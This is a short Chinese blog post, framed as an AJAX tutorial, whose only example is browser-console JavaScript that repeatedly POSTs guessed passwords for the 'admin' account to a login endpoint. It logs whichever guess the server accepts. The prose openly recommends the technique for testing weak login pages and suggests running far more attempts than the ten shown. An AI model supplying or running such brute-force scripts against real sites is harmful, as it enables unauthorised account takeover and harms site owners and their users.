1. 程式人生 > >控制檯實現js發起http請求 —— AJAX 例項解析

控制檯實現js發起http請求 —— AJAX 例項解析

此處以一個簡單的測試使用者登入介面為例。。。

如果一個網站的登入模組設計的很簡單的話,可以通過不斷髮起請求去測試一個賬號的密碼。。。

// 第一步:建立 XMLHttpRequest 物件
var xmlhttp;
if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari
    xmlhttp = new XMLHttpRequest();
}
else {// code for IE6, IE5
    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
// 此處僅做一個簡單的10次迴圈例子,實際中可以進行瘋狂地嘗試
for (let i = 0; i < 10; i++) {
    let data = "account=admin&password=" + i
    setTimeout(function () {
        // 第二步:向伺服器傳送請求
        xmlhttp.open("POST", "https://yourServerUrL/loginByPwd", true);
        xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xmlhttp.send(data)
        // 第三步:獲得來自伺服器的響應
        xmlhttp.onreadystatechange = function () {
            if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
                if(JSON.parse(xmlhttp.responseText).code === "200") {
                    console.log('賬號admin的密碼為'+i)
                }
            }
        }
    }, i * 500)
}